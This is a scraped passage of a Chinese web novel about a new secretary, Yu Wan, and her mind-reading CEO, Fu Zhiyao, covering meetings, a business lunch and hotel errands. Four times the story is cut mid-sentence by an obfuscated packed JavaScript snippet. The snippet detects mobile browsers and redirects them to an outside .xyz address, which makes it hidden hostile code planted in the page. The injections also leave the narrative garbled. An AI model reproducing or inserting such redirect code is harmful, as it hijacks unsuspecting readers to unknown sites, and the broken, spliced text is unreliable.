傅知尧已经坐在办公室,其他与会人员均已到齐,只剩虞晚没来。
他屈指在桌上敲了敲,十足不耐烦,视线扫到手边虞晚买的那杯拿铁,勉强压下怒火。
下一秒,虞晚就抱着文件和笔记本电脑走进会议室,将文件依次分发下去,安静坐到会议室角落内,打开座椅自带的小桌板,放好笔记本电脑,拿出笔记本和笔,时刻准备着。
因为是跑来会议室的,虞晚气息有些急促,又不敢表现出来,只能默默平复呼吸,努力降低存在感。
抬头,对上老板投来的眼神以及紧皱的眉头,心底暗道糟糕,但会议已经开始,虞晚也来不及道歉,默默开始记录会议内容。
电脑是用来录音的,笔记本记录每个人发言的重点内容,方便结束后的归总整理。
虞晚竖着耳朵仔细听,了解这场会议的主要内容。
大致有两件事。
一是傅氏集团旗下的星玥酒店即将迎来成立三十周年庆典,二是高端葡萄酒品牌纽裕禾即将上市。
傅氏前几年收购了一个面积多达一万亩的酒庄,近几年一直在改良葡萄品种,调试葡萄酒浓度和甜度,今年终于有了重大突破,市场部提议在庆典前两天顺势推出纽裕禾葡萄酒,刚好借着庆典的热度推广——
前段时间傅知尧去国外出差就是在洽谈红酒出口生意,回国后又去酒庄那边确认出货情况,忙完才回到海市。
这次会议上,市场部和企划部要确定广告拍摄方案,推广营销方案,给出资金预算。
说到星玥酒店,就不得不提到傅氏集团旗下的产业,支柱产业总体可以分为三大集团——尧安集团、银讯科技和新荷资本。
尧安集团的前身其实是尧安地产,是傅知尧父亲傅祈明一手创建的,对外买地建房的同时,在一、二线城市拓展商圈,成立尧安百货,打造自营品牌,包含食品、美妆、家具等等……,目前正在尝试向三、四线城市拓展更适合本土城市的商圈。
星玥酒店便是尧安集团旗下的酒店产业,是国内顶顶有名的高奢酒店,作为尧安地产发展的延伸产业,后期傅总接任,酒店经营方面构建了一个更为全面、完整的体系,以星玥酒店为首的顶奢酒店,还有诸如欧维颂这类五星级酒店,恋洁快捷酒店这类经济型……客户群体覆盖面和客房体量都相当庞大,星玥酒店三十周年庆典重要性不言而喻。
市场部总监关彦轩站在放映仪前讲解,个头大概一米八以上,一身得体的灰色西装,身姿笔挺,黑色短发用发胶梳上去,露出一张儒雅成熟的俊美脸庞。
要不是虞晚给他打过电话,听过对方的语气,也会被这人的外表欺骗。
周年庆典的举办地点和时间倒是毫无异议,不到半小时就敲定完毕,只是最后葡萄酒广告方案傅知尧并不满意。
傅知尧:“你们拍摄场地选哪里?”
企划部卫羡道:“一共四个场景,葡萄园是上个月出差拍摄的素材,剩余的三个场景为朝溪湿地公园、星玥酒店宴会厅、外郊骑马场,均可在海市内取景。”
为了符合纽裕禾高端葡萄酒的定位,广告拍摄自然也是奔着高大上去的,四个场景选址装修和地理位置均无可挑剔。
傅知尧再次翻看了几眼策划案,将其扔给虞晚,“来,你看看。”
虞晚手忙脚乱接住策划案,“……好的老板。”
听到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585329|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
傅知尧让虞晚看策划案,关彦轩烦躁地掀眸看过去,本就看不惯虞晚一脸呆憨的样子,见她说话温吞吞的,讲究效率的关总监狠狠皱起眉毛,搞不懂为什么傅总会选这样一个人当秘书。
虞晚快速翻看完,傅知尧开口:“觉得怎么样?”
虞晚:“……”
她觉得自己脑袋还是很灵光的,居然一瞬间就揣摩出了老板的真实意图。
傅知尧会让她看策划案,发表意见,肯定是对策划案里部分设定不满意,如果完全不满意,傅知尧会直接将策划案扔出去,甩下一句重做,如果满意,会议早就结束了。
那她要怎么说才符合傅知尧心里的答案呢?
虞晚忽然有些异想天开,要是她能听到傅知尧的心声就好了,老板心里想的是什么她全都知道,简直是作弊神器,
但这是不可能的,虞晚当然不知道傅知尧在想些什么,甚至也不会投机取巧,通过观察傅知尧眼神修改说辞。
虞晚合上策划案,选择实话实说。
“场景转换次数有些多和杂,缺失了想要凸显的高级感。”
见傅知尧没阻止她,虞晚继续说:“广告最吸引人的一定是开头,只有开头足够精彩才能留住观众,策划案里开场拍葡萄园场景,比起广告,更像是纪录片,我觉得这些素材可以在后期完善品牌背后故事的时候使用,增加消费者对品牌的了解,同时也能提升品牌的格调,这和我们对纽裕禾品牌的定位相符。”
虞晚在市场部工作过,知道品牌的定位对消费者的消费倾向影响很大,纽裕禾作为傅氏认定的高端葡萄酒品牌,除了优雅奢华的广告拍摄,也需要平易近人的信息传递方式,让更多人了解到纽裕禾,增强对纽裕禾高端红酒品牌的认可。
傅知尧敲了两下桌面:“你觉得该怎么拍?”
虞晚下意识看向卫总监,傅知尧这样直白的问话多少有些打卫总监脸的意思,但虞晚现在可是‘皇帝’身边的‘秉笔太监’,如果不会狐假虎威,多少显得她怂。
怂的话,还怎么实现她的雄心大志。
虞晚折中,选择了一个合适的方式,开口道:“企划部选定的拍摄场景选择其实很符合葡萄酒广告,我能提出来的意见有限,不过我之前看电影,了解到了一个一镜到底的镜头语言,如果能一镜到底,拍摄主角的同时将这些不同场景作为背景揽入,就不会显得多而杂。”
企划部总监卫羡早就知道傅总新提了个小秘书,今天是第一次见,开会前小秘书给每人桌上放了杯水,之后就默默坐在角落做会议记录,看起来毫不起眼,以至于傅总让虞晚开口指出策划案问题时卫羡压了压嘴角,明显不满。
但不得不说,虞晚说的话从一个普通消费者角度来看朴素又实在,一镜到底的建议极具可行性和特色,她甚至想到了后期如何让公关部同事操作,制造噱头,吸引话题和热度。
难怪傅总会选虞晚当秘书。
虽然不够聪慧,职场经验不足,但会开口,敢开口,这点就已经胜过不少人。
虞晚说完,视线紧盯着傅知尧表情,内心忐忑不已,直到傅知尧一锤定音:“按虞秘书的想法展开讨论,修改策划,这周五上交方案,周六和拍摄团队签合同,争取在下周末前完成拍摄。”
“是!”
虞晚听到心里石头落地的声音。
8. 第 8 章
见傅知尧起身,虞晚连忙合上笔盖,抱着笔记本电脑和笔记本小跑跟在傅知尧身后。
快要走到总裁办公室门口,傅知尧忽然转过身。
虞晚生怕撞到傅知尧,紧急刹车,双下巴都挤出来了。
她立刻规规矩矩站好:“老板……”
“老什么板?”傅知尧开口,话语刻薄:“开会提前十分钟到的规矩不懂?再有下次,从总裁办滚出去。”
“对不起老板,不会了。”
虞晚连忙低头道歉,再抬头,男人高大的身影已经消失在办公室门后。
盯着总裁办公室大门,虞晚轻轻垂下肩,收拾好心情,走进总裁办,打开电脑开始整理会议记录。
刚打了没几个字,蔡杨将一杯热奶茶放到她桌上。
虞晚抬起头,“蔡秘书。”
“刚下楼买的,喝点甜的,工作起来也更有劲儿。”
蔡秘书知道虞晚刚来总裁办,不算适应,但他不太会说安慰人的话,干脆用这种方式安慰对方。
虞晚笑了笑,“谢谢蔡秘书。”
“没事,你继续工作吧。”
虞晚拆开吸管,喝了一口奶茶,热乎乎、甜蜜蜜的奶茶入喉,虞晚低落的心情一扫而过。
做完会议记录,虞晚细心检查一遍,确认没有打错字,没有语序不通的情况,这才将文件发给傅总、关总监和卫总监确认。
等待回消息的时候,虞晚想起赵予书说的那些话。
她不笨,十多份打印好的文件在打印机里放着,怎么可能会被当成没用的文件扔进碎纸机。
赵予书百分百是故意的,但她哪里惹到她了吗?
她甚至和赵予书说过的话不超过十句。
还是说,因为老板秘书这个职位?
可被赵予书针对这事没法告诉老板,老板是当管理的,他管人,不管事,你私下闹得再厉害,脸皮撕得再破又如何,只要没给公司造成损失,老板都不屑于管,闹到老板面前就是各打两百大板——
没眼力见儿吗?什么事情都找老板决裁,老板难不成是法官?整天坐在办公室里评判员工大大小小的争执?和同事关系都处不好,你们两个一起从公司滚蛋吧!
虞晚为自己脑海内的心理模拟感到又无奈又心酸。
将这件事在脑海里过一遍,虞晚就明白了下次要怎么做:会议文件要提前打印好;能不去行政办公室就不去行政办公室,就算去了也要时刻守在打印机前;和赵予书划定界限,不来往就好。
复盘完,虞晚忽然想起,会议室用完,还得提醒清洁阿姨打扫。
虞晚将电脑合上,跑去会议室,在阿姨来打扫前,她要先检查一遍,看看有没有员工遗落的东西。
谁料刚推开门,就对上关彦轩的眼。
他靠坐在椅子上,眼皮微微掀起看她,黑色眼眸充斥着冷淡,像是在问,你来干什么?
虞晚同他问好,解释原因:“关总监,会议开完了,我来检查一下会议室有没有落下的东西,好让阿姨进来打扫。”
关彦轩收回视线,兀自翻起文件,虞晚尴尬站在门口,一时不知该说什么。
半晌,关彦轩才开口:“我会通知阿姨来打扫的。”
虞晚点点头,“好的。”
还是走进会议室,转了一圈,确认没什么东西落下,这才离开。
回总裁办的路上仍旧心有戚戚,关总监性格和老板实在是像,看她的眼神总给她一种看傻子的错觉。
回到总裁办,虞晚看到自己的会议纪要已经通过了老板的审核,便将会议纪要打印出来交给行政部的季咏文。
此时距离中午定好的吃饭时间还有一个小时,虞晚只来得及将合作伙伴禾延集团的发展史看个大概,便拎着挎包和老板一起出发,前往定好的餐厅。
在包厢内等待不多时,禾延集团的总裁谈宴和秘书齐晟走进来。
傅知尧和虞晚站起身迎接,两位集团总裁相互握手,随后坐下来交谈。
和傅知尧这样看起来俊逸浪荡公子不同,谈宴皮肤更白,长相轩朗英挺,用面如冠玉形容也丝毫不为过,一双眸子如沉墨般漆黑,对比起来,老板的眼睛其实带着点棕褐色,阳光下,混血感明显。
虽然好看,虞晚也没敢多看,简单瞄两眼就收回了视线。
虞晚自认为动作不明显,但坐她旁边的傅知尧一眼就看穿了虞晚脑子里的想法,那两颗大眼珠子恨不得黏人家脸上。
花痴女。
趁着上菜的功夫,傅知尧和谈宴交流起来。
和傅知尧一样,谈宴同样是个讲究实干的企业家,两人聊天过程中极少喝酒,从合作意向、合作方向开始,聊到合作方式、资金投入等等,最后结合政策福利聊了聊项目的优势。
作为谈宴的秘书,齐总助坐在老板身旁,时不时进行补充回答,动作坦然又自信,语言概括能力一流,给人一种极为稳重可靠的感觉。
虞晚一边震惊一边偷摸学习。
对比齐总助,她愚蠢得简直像个单细胞生物,两人谈论的什么新能源、芯片技术之类的话题她听得云里雾里。
唯一的优点大概就是她没能力不多嘴,安安静静当小透明,时不时给在座几人倒茶,出门和侍者沟通上菜顺序,吃完饭,让侍者端上准备好的菊花水漱口、洗手。
将小秘书的服务能力发挥得淋漓尽致。
一顿饭吃完,双方和合作意向敲定,由于晚上举办的金融商会两人都将参加,便一同去了酒店。
准备在酒店里再开个会,将合同等一众事宜办妥。
定的酒店自然是傅氏旗下的高奢星玥酒店,虞晚跟着老板走进套房,顺手接过老板脱下的西装,挂上立柱衣架,将房间内水壶插电烧水,紧接着用挂烫机清除西装上的褶皱和异味。
高温蒸汽混合淡淡熏香喷出,傅知尧听到声响回头,就看到小秘书勤勤恳恳替他熨烫西服。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585330|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
傅知尧咳了一声。
虞晚立刻停下手中的动作,“老板。”
“给我倒杯茶。”
虞晚点头,“我正在烧水,等水烧好就端给您,您想喝茉莉绿茶还是红茶?”
“绿茶。”
“好的。”
傅知尧靠坐在沙发上,揉了揉紧绷的额心。
那位谈总的确有些难对付,他几乎很少捕捉到他的心声,就算捕捉到也是和他妻子有关的事情。
侍者端上来一份菜肴时,对方居然在想,妻子喜欢吃这道菜,下回可以带她来尝尝。
傅知尧差点呛到自己。
结了婚的男人就是这样吗?谈生意时脑袋里想的都是自己的妻子。
但好在,对方专业能力可靠,对合作一事和他持有同样的想法,最近几年国家政策在变化,市场格局也在改变,傅氏想要开发新能源,就需要新的、有效高能的芯片,同禾延的合作是一件共赢的事。
不多时,虞晚端着茉莉绿茶走到傅知尧身边,递出一份眼贴,“老板,绿茶泡好了,这是缓解疲劳的眼贴,您待会儿要是休息,可以将这个贴在眼睛上,冰冰凉凉的,舒缓用眼疲劳。”
傅知尧看了眼虞晚,脑子虽然笨了点,但的确如林秘书所说,做事踏实不虚浮,相比其他人总说些恭维的话,虞晚实在是淳朴,说的最多的话大概就是对不起老板。
呵。
不知道总在对不起什么。
傅知尧抬了下下巴:“去找前台开个钟点房休息一会儿,下午开会,继续旁听做会议记录。”
傅知尧想,虞晚除了做事踏实,做会议记录的能力也不错,日常用语转换为书面用语的本领像是修炼多年一般,干练简约,最后还有个小总结,比起之前那些人整理的会议记录,简练又漂亮。
这么一看,虞晚简历上写‘熟练使用EXCEL、WORD等办公软件’也不是瞎掰扯。
虞晚点头,“好的老板,有事情随时叫我。”
傅知尧听不到虞晚心声,看她表情又看不出什么,便故意道:“随时叫你?你能多久赶到?十五分钟内吗?”
虞晚:“……”
“你是不是在心里骂我?”傅知尧挑眉。
虞晚:“……”
她哪儿敢。
虞晚如实道:“老板,如果是在这个酒店内,我可以十五分钟内赶到。”
“行了,出去吧,我要休息了。”
虞晚如获大赦,“谢谢老板,那我先出去了,您好好休息。”
说完,脚底抹油般溜之大吉。
傅知尧摇摇脑袋,端起茉莉绿茶喝了一口,虞晚可能掺了矿泉水,喝起来温度刚刚好,不至于过温失去香气,也不至于太烫无法入喉。
清新的茶水入喉,午餐的油腻得到缓解,傅知尧喟叹了一声。
等洗完澡,躺上床,冰凉的眼贴覆到眼睛上,傅知尧更是心满意足。
还不错。
9. 第 9 章
休息过后,傅氏和禾延的合作会议正式开始,双方团队就合作项目和合作方案进行讨论。
虞晚抱着电脑,窝在会议室角落做笔记,听着双方团队激辩,脑子都快转不过来了。
再看看两位老板,各坐一端,神态坦然,气定神闲。
会议开到中途,一行人停下休息。
谈宴的秘书齐晟拎着几袋子咖啡进来,面带微笑:“各位辛苦了,谈总请大家喝咖啡润润嗓子,稍作休息再继续会议。”
周围人纷纷应声,表达对谈总的感谢。
虞晚表示学到了。
领悟之余,她默默看了眼傅知尧,老板表情不咸不淡,并没有责怪她不知安排下午茶。
不过虞晚本就不是一个爱多想的人,主动走上前帮忙分发咖啡。
找到一杯还算符合老板口味的拿铁,放到老板手边,自己则选了一杯从来没尝试过的冰美式。
坐下后,她端起来,毫无防备地吸了一大口,浓郁的苦涩味道从舌尖猛烈刺激味蕾,比中药还要夸张,虞晚整张脸瞬间皱成一团,龇牙咧嘴,眼睛都睁不开,差点当场去世。
等缓过那股苦味,对上老板堪堪收回去的视线。
虞晚坐在老板斜后方,这个角度,刚好看见老板微翘的唇角,透着点不易察觉的幸灾乐祸。
虞晚:“……”
老板是在笑她吧?笑她这个连冰美式都没喝过的土包子。
她不说谁能知道,她来这个世界才真正实现速溶咖啡自由呢,上辈子,虞晚只喝过寥寥几次,毕竟她就职的公司茶水间就是个摆设,咖啡自取处经常空荡荡的。
傅氏就不一样了,以虞晚每天两杯起步的消耗速度,速溶咖啡盒里仍旧是满满当当的。
再看手里这杯冰美式,难喝是难喝了些,但的确提神,虞晚困倦被赶跑,一下就精神了起来。
趁着休息的空档,她将前面的会议内容整理一遍,补充上她来不及写的一些观点。
会议开了将近四个小时,随着合同的签订,终于尘埃落定。
双方合作达成。
傅知尧绅士地扣好解开的西装扣,站起来同谈宴握手。
“谈总,合作愉快。”
“傅总,合作愉快。”
金融商会晚上七点开始,中间还有一个半小时的时间,虞晚靠着冰美式,以强大的效率在一小时内写完会议纪要,用电脑将会议记录发给老板后,拎着挎包坐上老板的专车。
她坐的位置就在老板旁边,原本她是要坐副驾驶的,但老板嫌她坐前面碍眼,于是只能拎着包包坐到老板旁边。
这辆劳斯莱斯后座只有两个位置,中央是个小吧台,将两人距离完美隔开,虞晚就算是屈臂写字也不会影响到老板。
傅知尧看到手机上虞晚发来的会议纪要,点开,看完,直接通过,上传内部系统。
他问埋头写东西的虞晚:“吃饭了没?”
虞晚抬头,一时没能反应过来,如实回答:“吃过了。”
下午给大家订晚餐时,虞晚跑去酒店厨房要了碗炒饭,炒饭吃起来方便,还能一边修改会议记录一边吃。
见老板没什么要说的,低下头继续写笔记,傅知尧瞥了眼,缓缓收回视线。
晚上的金融商会说到底是个让投资方和项目方互相了解的交流会,傅知尧不想发言,主办方不仅不会强迫,还会恭敬地将他迎到专属于他的沙发前。
虞晚作为小秘书,没那个本领和老板坐在一起,默默挪到后排单人座椅上,认真细致地看着每位上台讲话的人员,然后感慨——
原来他就是某某大公司的老板!
原来她就是提出了什么什么跨领域概念的发起人!
原来他就是最近崛起的商业新贵!
虞晚一边听一边写,脑子和手在不停打架,恨不得生出三头六臂,但与此同时写字速度和大脑运转速度也在不断提高,她甚至在这种极速中体会到了知识累计的充实感和乐趣感。
发言会结束,最后的酒会,傅知尧和谈宴都没有参加。
将包装精致的纽裕禾红酒赠送给谈宴后,双方在夜风中告别。
虞晚和傅知尧站在原地,目送谈宴和齐总助上车离开。
见虞晚视线迟迟不收回,傅知尧轻嗤一声,语气暗含警告:“谈总有妻子。”
虞晚没反应过来,没所谓地“嗯”了一声,“好的老板。”
傅知尧气得看她一眼,见虞晚一脸平静的表情,忽然有种多管闲事的感觉,傅知尧转过身,迈开长腿,一言不发,直径上了车。
虞晚追上来,屁股刚落到座位上,车门还没关紧就听到老板让老武开车的命令。
虞晚:“……”
这时,她才回味过来老板刚才说的话是什么意思。
老板难不成以为她对谈总有非分之想?
虞晚舔舔嘴唇,干巴巴解释:“老板,其实我对谈总没那个意思……”
“关我屁事。”
虞晚:“……”
“好吧,老板,您要是渴的话就喝水,矿泉水瓶盖我已经拧开了,就放在您左手边。”
虞晚被老板极其冷漠的一句话给震慑到,提醒老板水放在哪里后乖乖低头整理笔记。
片刻,听到老板问她,“在写什么?”
“今晚金融商会上投资机构老板们的发言。”想了想,虞晚多问了句:“老板您需要吗?我可以整理出来发您一份。”
本以为老板懒得搭理她这些烂笔头的操作,没成想老板同意了,“行。”
“好的老板,我明天中午吃饭前发给您。”
“你现在要回公司?”
虞晚点头:“公司附近有地铁,我乘坐地铁回学校。”
傅知尧这才想起虞晚还没毕业,随口问了句,“毕业论文写完了吗?”
“写完了,已经提交通过了,下个月答辩。”
“还没租好房子?”
虞晚窘迫:“房子有些贵……”
所以虞晚看了将近两个月还是没选好合适的,她想租个离公司稍微近点的地方,这样每日通勤时间也可以缩短,但离公司近,就意味着价格高,虞晚了解过了,最便宜的也要三千九,面积还不算大,这几乎相当于她半个月的工资。
“你的意思是我工资给低了?”
虞晚:“……”
她是真的读不懂傅知尧的脑回路,正要解释,就听见老板开口,对前面开车的司机老武道:“先送她回学校,海市大学。”
老武应声:“好的傅总。”
能直接被送回学校,虞晚才不会傻兮兮地说要回公司,立刻把傅知尧刚刚怼她的话抛到脑后,连忙道谢,“谢谢老板,武叔麻烦您送我到学校北门就好。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585331|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“好,没问题。”
车子驶上高架桥,城市被灯光点缀的夜景跃入虞晚眼中,车尾灯连同路灯绵延成长达千里的灯带,放佛永远都不会熄灭的亮着,场景梦幻而不真实,虞晚透过车窗静静注视着,一刻都不敢眨眼,高楼林立的大厦内,每一个不灭的灯光都代表着打工人辛勤加班的夜晚,即便见过无数次现代化都市的繁华魅力,虞晚仍旧不敢从心底对这样美丽的城市产生任何归属感。
这座城市内,没有一处是她可以栖息的地方。
拥有自己的房子,是虞晚上辈子和这辈子始终没改变的念头,但她真的能攒到足够的钱吗?虞晚不由得开始迷茫。
但没迷茫多久,虞晚立刻甩掉脑海里乱七八糟的想法,专注写笔记。
好高骛远是走不长久的,脚踏实地才是硬道理。
不知过了多久,等傅知尧再朝侧边看过去的时候,就对上了虞晚的睡颜。
她靠在车座上,脑袋仰起,因为动作,嘴唇微张,露出小半截白色牙齿,笔记本握在左手,笔捏在右手虎口处,摇摇欲坠。
睡得倒是安稳。
傅知尧冷呵一声,毫无心理负担,伸手,将虞晚手里的笔记本拿过来看。
从第一页翻起,最开始是进入行政部的一些笔记:需要做的工作、需要转交的文件等。
中间是进入总裁办后需要的负责工作,再然后是和他相关的记录,他的忌口、偏好等等,内容多的傅知尧本人都怀疑这写的到底是不是自己,他哪儿有那么挑剔。
后半部分则是今天开的几场会议重点总结。
一些总结下方标了个箭头,以虞晚自己的方式进行解释和理解。
比如星玥酒店庆典,虞晚把他骂市场部的话写上去,标注:考虑影响力和合作商的选择,可以提高品牌知名度,拓展合作路径,增加营收。
比如和谈宴的合作,虞晚标注:会议进行时间长的话记得点下午茶!给合作商留下一个好印象!
傅知尧看着,眉头动了动,表情莫名舒缓了几分。
等虞晚一觉惊醒,车子已经到了学校路口。
虞晚本能地去找捏在手里的笔,发现已经被她给扔进了包里,她将笔记本一同扔进去,拎起水桶包,在下车前对着傅总和司机老武道谢。
“谢谢老板今天送我回学校,麻烦武叔开车了,谢谢。”
说完,利落解开安全带下车。
她怕自己稍微说晚一点,傅总就会命令老武一脚油门离开,只留给她一鼻腔的车尾气。
下了车,虞晚没急着回学校,看着黑色劳斯莱斯起步离开。
傅知尧瞥见后视镜里,穿着白衬衫的女孩拎着挎包站在原地,随着车速提高,慢慢缩小成一个小黑点。
也就在此时,他听见司机老武的心声。
-【居然还会对我说谢谢,难怪小姑娘会被傅总选作秘书,机灵又懂得感恩,老板肯定对她很满意,否则不会让我停在学校门口专程等小姑娘睡醒,真是难得啊。】
傅知尧:“……”
他对虞晚很满意?
呵,他只是暂时找不到合适的秘书人选罢了,至于没叫醒虞晚,他方才准备叫的,但虞晚自己醒了而已。
等林特助找到合适的人,虞晚就可以打道回府,他对虞晚,顶多是因为听不见心声多了点关注,至于表现……
勉强能用。
10. 第 10 章
虞晚压根儿不知道傅知尧对她的评价是什么,进了总裁办,虞晚接触到的事物和以前大有不同,跟在傅总身后开会、做会议记录,见客户,聊合作,敲定合同条款、催促财务打款、核收钱款,她就像是只吸不满水的海绵,尽可能地多学习,多模仿。
夜里,虞晚只盖着条薄毯,闭眼复盘今日会议内容,听到隔壁床铺的毛新灵的声音。
“虞晚,你找好房子吗?”
“还没呢,公司附近房租都太高了,老小区又担心下班晚不安全,有些纠结。”虞晚说,“不过我可能还是会选择老小区,房租低点,我打算到时候买瓶辣椒水放包包里备用。”
毛新灵:“你就没考虑过和我合租?房租至少能减一半儿呢。”
“你公司和我公司完全是两个方向,住一起也不划算呀,你选个离你公司更近的房子不好吗?”
实际上,虞晚压根儿就没考虑过合租的事情,上辈子虞晚也是奔着省钱的想法找人合租。
一个月只需要五百块钱,对当时月工资只有四千的她来说无疑是最佳选择。
但合租房相当简陋混乱,房东为了省钱,将原本两室一厅的格局拆分,硬生生隔出了四个房间,每两个房间共用一个卫生间,也是因此,虞晚第一次合租,是和两位男生,一位女生住的。
合租体验感嘛……相当差。
女生有男朋友,时不时将男朋友带回来一起睡,隔板不算隔音,动静乒乒乓乓的,时常吵得虞晚睡不好,只能戴耳塞缓解。另外两位男生里,其中一位经常应酬喝酒,一身酒气的靠在门边色眯眯地盯着她看,离得近了,还会忽然伸手抓住她,被虞晚斥责就嬉皮笑脸的装听不懂。
幸好虞晚当时只签了三个月合同,合约时间一到就搬走,果断选择自己住,房租高是高了点,但也清净多了。
虽然毛新灵为人不错,但搬出去住和在宿舍可不一样,比起合租,虞晚更喜欢独居。
毛新灵想想,也觉得虞晚说得有道理。
她家庭比虞晚富足些,一个月四、五千的房子也是租得起的,但虞晚就不一定了,她上回问过虞晚,虞晚租房的预算大概在1500-2000之间。
这样的房子,只有城中村才满足吧,又或者是那种不超过20平米的一居室,但这种,据她了解,最低也要两千八。
不过虞晚在傅氏工作,工资不错,应该能租得起。
毛新灵便道:“好吧,我让我领导帮忙找找,等房子定好,你要来给我暖房!”
虞晚笑着答应:“一定去!”
两个年轻女孩躺在床上叽叽喳喳聊天,话题从租房到工作到未来择偶对象。
毛新灵压抑着小激动:“像我们领导那样的熟男就很不错,我好像从没见过他发脾气,做事靠谱,不急不缓,我以前还觉得这样的男人很无趣,只喜欢那种开朗阳光男生,但现在工作之后,又觉得还是成熟男人好,可靠又稳重,还能在工作方面给出指导,有助于我的职场提升,虞晚,你呢?”
虞晚翻了个身,“我还没有喜欢的人,不知道应该喜欢什么样的。”
反正虞晚是不可能像毛新灵那样对自己领导动心的,虞晚脑海里浮现出傅知尧那张俊美绝决的脸庞,动起来时荷尔蒙十足,极具性张力,静静坐着又似雕塑,让人不自觉将视线挪过去,动静皆美。
但转眼,就被拧起眉头发怒火的傅知尧给替代。
虞晚没忍住打了个寒颤。
喜欢傅知尧?她是嫌弃自己的命太长了吗?
隔天是周五,虞晚早早到了公司,给自己冲了杯速溶咖啡,一边喝一边整理工作资料,中途给傅总送早餐、午餐,领了工作回来继续做。
因为上辈子有将近一年的职场经验,虞晚在文档处理上的本事日益精进,尚秘书有搞不定的问题就会问虞晚。
虞晚凑过去,帮尚秘书调整文档问题,顺便教给尚秘书几个小技巧,两人聊得正嗨,就听见老板办公室大门被打开的声音。
傅知尧大踏步从办公室内出来,路过总裁办,直接挥手,跟招呼小崽子似的喊虞晚名字:“虞晚!把你东西带上跟我出去一趟。”
虞晚连忙应声,歉意对尚秘书笑笑,火速收拾东西。
她的包包是个水桶包,包内容量大,虞晚为避免这种情急情况,笔记本电脑和其他零碎的东西一直都是好好放在包内,因此,她只需要将笔记本和手机拿上就迅速跟上了傅知尧的步伐。
两人一路风风火火路过行政区。
宋楚楚坐在靠门的那侧,通过透明的玻璃门,清楚看见虞晚拎着包跟在傅知尧身后,两人一路走过行政区,消失在走廊另一端。
说不清心中是什么感觉。
总感觉有什么本该属于她的东西从心头溜走一般。
宋楚楚对虞晚的印象就是挺孤僻的一个女孩,不爱说话,但问什么也会回答,能力算不上多出挑。
傅总没录取她,她不意外,但为什么会选择虞晚呢?
她到底有哪里特别?
宋楚楚唇越抿越紧,直到季主管喊她名字才回神,“季主管,您叫我是什么事?”
这边,上了车,虞晚才知道两人目的地是星玥酒店。
也是即将要举行三十周年庆典的地方,不过和她去的目的不同,傅知尧是要去见合作商,谈红酒合作事宜,她则要去和酒店负责人沟通三十周年庆典的进程。
傅知尧甩了虞晚一摞资料,言简意赅:“这些是星玥三十周年庆典的项目书,你到现场去看项目落实情况,有需要改进的地方回来汇报给我,不懂就按你的笨办法记在本子上,听明白了?”
虞晚态度端正,宛若上战场的士兵:“听明白了!”
这是老板对她毫无保留的信任,她可不能辜负老板,不过……
“老板,你去见合作商,真的不需要我跟着吗?”
傅知尧睇她一眼,“你会谈判?”
虞晚给出打工人的标准答案,神情坚定:“我可以学。”
“哼。”傅知尧合上眼休憩,语气懒懒的:“虞秘书,你真该庆幸你已经进了傅氏,要是面试的时候你对我说这句话,我会让你有多远滚多远。”
虞晚:“……”
她能说吗,每次老板叫她虞秘书的时候阴阳怪气感多到溢出来。
之后路上虞晚一路安安静静,因为老板在睡觉,虞晚翻文件的动作都静悄悄的。
劳斯莱斯于二十分钟后抵达星玥酒店,虞晚率先下车准备给老板开门,没曾想刚绕到侧面,已
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585332|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经有更殷勤的门童过来给傅知尧开门。
傅知尧整理西装衣摆,扣好下方两颗纽扣,弯腰从车上下来。
锃亮的皮鞋先一步稳稳落地,西装裤随着动作微微上移,露出被黑色薄袜裹着的削瘦脚踝,傅知尧表情冷淡,眉头压低,配上优越过人的身材,斯文中透露着野性的不羁和风流,十足性感。
周围凡是注意到傅知尧的,就没有一个不被吸引。
傅知尧或许早就习惯这种目光,目不斜视,大步流星朝酒店内走,虞晚拎着文件和包包狼狈地跟在傅知尧身后。
无他,傅知尧腿长,她小跑着才能跟上。
恭敬将老板送入电梯,虞晚奔赴自己的目的地,趁着机会,得以好好欣赏星玥酒店。
